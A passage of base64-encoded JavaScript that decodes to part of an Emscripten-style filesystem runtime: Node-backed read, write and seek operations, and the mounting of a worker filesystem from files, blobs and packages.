fWNhdGNoKGUpe3Rocm93XHgyMG5ld1x4MjBGUy5FcnJub0Vycm9yKEVSUk5PX0NPREVTW2UuY29kZV0pfWlmKHJlcz4wKXtmb3IodmFyXHgyMGk9MDtpPHJlcztpKyspe2J1ZmZlcltvZmZzZXQraV09bmJ1ZmZlcltpXX19cmV0dXJuXHgyMHJlc30pLHdyaXRlOihmdW5jdGlvbihzdHJlYW0sYnVmZmVyLG9mZnNldCxsZW5ndGgscG9zaXRpb24pe3Zhclx4MjBuYnVmZmVyPW5ld1x4MjBCdWZmZXIoYnVmZmVyLnN1YmFycmF5KG9mZnNldCxvZmZzZXQrbGVuZ3RoKSk7dmFyXHgyMHJlczt0cnl7cmVzPWZzLndyaXRlU3luYyhzdHJlYW0ubmZkLG5idWZmZXIsMCxsZW5ndGgscG9zaXRpb24pfWNhdGNoKGUpe3Rocm93XHgyMG5ld1x4MjBGUy5FcnJub0Vycm9yKEVSUk5PX0NPREVTW2UuY29kZV0pfXJldHVyblx4MjByZXN9KSxsbHNlZWs6KGZ1bmN0aW9uKHN0cmVhbSxvZmZzZXQsd2hlbmNlKXt2YXJceDIwcG9zaXRpb249b2Zmc2V0O2lmKHdoZW5jZT09PTEpe3Bvc2l0aW9uKz1zdHJlYW0ucG9zaXRpb259ZWxzZVx4MjBpZih3aGVuY2U9PT0yKXtpZihGUy5pc0ZpbGUoc3RyZWFtLm5vZGUubW9kZSkpe3RyeXt2YXJceDIwc3RhdD1mcy5mc3RhdFN5bmMoc3RyZWFtLm5mZCk7cG9zaXRpb24rPXN0YXQuc2l6ZX1jYXRjaChlKXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFU1tlLmNvZGVdKX19fWlmKHBvc2l0aW9uPDApe3Rocm93XHgyMG5ld1x4MjBGUy5FcnJub0Vycm9yKEVSUk5PX0NPREVTLkVJTlZBTCl9cmV0dXJuXHgyMHBvc2l0aW9ufSl9fTt2YXJceDIwV09SS0VSRlM9e0RJUl9NT0RFOjE2ODk1LEZJTEVfTU9ERTozMzI3OSxyZWFkZXI6bnVsbCxtb3VudDooZnVuY3Rpb24obW91bnQpe2Fzc2VydChFTlZJUk9OTUVOVF9JU19XT1JLRVIpO2lmKCFXT1JLRVJGUy5yZWFkZXIpV09SS0VSRlMucmVhZGVyPW5ld1x4MjBGaWxlUmVhZGVyU3luYzt2YXJceDIwcm9vdD1XT1JLRVJGUy5jcmVhdGVOb2RlKG51bGwsXHgyMi9ceDIyLFdPUktFUkZTLkRJUl9NT0RFLDApO3Zhclx4MjBjcmVhdGVkUGFyZW50cz17fTtmdW5jdGlvblx4MjBlbnN1cmVQYXJlbnQocGF0aCl7dmFyXHgyMHBhcnRzPXBhdGguc3BsaXQoXHgyMi9ceDIyKTt2YXJceDIwcGFyZW50PXJvb3Q7Zm9yKHZhclx4MjBpPTA7aTxwYXJ0cy5sZW5ndGgtMTtpKyspe3Zhclx4MjBjdXJyPXBhcnRzLnNsaWNlKDAsaSsxKS5qb2luKFx4MjIvXHgyMik7aWYoIWNyZWF0ZWRQYXJlbnRzW2N1cnJdKXtjcmVhdGVkUGFyZW50c1tjdXJyXT1XT1JLRVJGUy5jcmVhdGVOb2RlKHBhcmVudCxwYXJ0c1tpXSxXT1JLRVJGUy5ESVJfTU9ERSwwKX1wYXJlbnQ9Y3JlYXRlZFBhcmVudHNbY3Vycl19cmV0dXJuXHgyMHBhcmVudH1mdW5jdGlvblx4MjBiYXNlKHBhdGgpe3Zhclx4MjBwYXJ0cz1wYXRoLnNwbGl0KFx4MjIvXHgyMik7cmV0dXJuXHgyMHBhcnRzW3BhcnRzLmxlbmd0aC0xXX1BcnJheS5wcm90b3R5cGUuZm9yRWFjaC5jYWxsKG1vdW50Lm9wdHNbXHgyMmZpbGVzXHgyMl18fFtdLChmdW5jdGlvbihmaWxlKXtXT1JLRVJGUy5jcmVhdGVOb2RlKGVuc3VyZVBhcmVudChmaWxlLm5hbWUpLGJhc2UoZmlsZS5uYW1lKSxXT1JLRVJGUy5GSUxFX01PREUsMCxmaWxlLGZpbGUubGFzdE1vZGlmaWVkRGF0ZSl9KSk7KG1vdW50Lm9wdHNbXHgyMmJsb2JzXHgyMl18fFtdKS5mb3JFYWNoKChmdW5jdGlvbihvYmope1dPUktFUkZTLmNyZWF0ZU5vZGUoZW5zdXJlUGFyZW50KG9ialtceDIybmFtZVx4MjJdKSxiYXNlKG9ialtceDIybmFtZVx4MjJdKSxXT1JLRVJGUy5GSUxFX01PREUsMCxvYmpbXHgyMmRhdGFceDIyXSl9KSk7KG1vdW50Lm9wdHNbXHgyMnBhY2thZ2VzXHgyMl18fFtdKS5mb3JFYWNoKChmdW5jdGlvbihwYWNrKXtwYWNrW1x4MjJtZXRhZGF0YVx4MjJdLmZpbGVzLmZvckVhY2goKGZ1bmN0aW9uKGZpbGUpe3Zhclx4MjBuYW1lPWZpbGUuZmlsZW5hbWUuc3Vic3RyKDEpO1dPUktFUkZTLmNyZWF0ZU5vZGUoZW5zdXJlUGFyZW50KG5hbWUpLGJhc2UobmFtZSksV09SS0VSRlMuRklMRV9NT0RFLDAscGFja1tceDIyYmxvYlx4MjJdLnNsaWNlKGZpbGUuc3RhcnQsZmlsZS5lbmQpKX0pKX0pKTtyZXR1cm5ceDIwcm9vdH0pLGNyZWF0ZU5vZGU6KGZ1bmN0aW9uKHBhcmVudCxuYW1lLG1vZGUsZGV2LGNvbnRlbnRzLG10aW1lKXt2YXJceDIwbm9kZT1GUy5jcmVhdGVOb2RlKHBhcmVudCxuYW1lLG1vZGUpO25vZGUubW9kZT1tb2RlO25vZGUubm9kZV9vcHM9V09SS0VSRlMubm9kZV9vcHM7bm9kZS5zdHJlYW1fb3BzPVdPUktFUkZTLnN0cmVhbV9vcHM7bm9kZS50aW1lc3RhbXA9KG10aW1lfHxuZXdceDIwRGF0ZSkuZ2V0VGltZSgpO2Fzc2VydChXT1JLRVJGUy5GSUxFX01PREUhPT1XT1JLRVJGUy5ESVJfTU9ERSk7aWYobW9kZT09PVdPUktFUkZTLkZJTEVfTU9ERSl7bm9kZS5zaXplPWNvbnRlbnRzLnNpemU7bm9kZS5jb250ZW50cz1jb250ZW50c31lbHNle25vZGUuc2l6ZT00MDk2O25vZGUuY29udGVudHM9e319aWYocGFyZW50KXtwYXJlbnQuY29udGVudHNbbmFtZV09bm9kZX1yZXR1cm5ceDIwbm9kZX0pLG5vZGVfb3BzOntnZXRhdHRyOihmdW5jdGlvbihub2RlKXtyZXR1cm57ZGV2OjEsaW5vOnVuZGVmaW5lZCxtb2RlOm5vZGUubW9kZSxubGluazoxLHVpZDowLGdpZDowLHJkZXY6dW5kZWZpbmVkLHNpemU6bm9kZS5zaXplLGF0aW1lOm5ld1x4MjBEYXRlKG5vZGUudGltZXN0YW1wKSxtdGltZTpuZXdceDIwRGF0ZShub2RlLnRpbWVzdGFtcCksY3RpbWU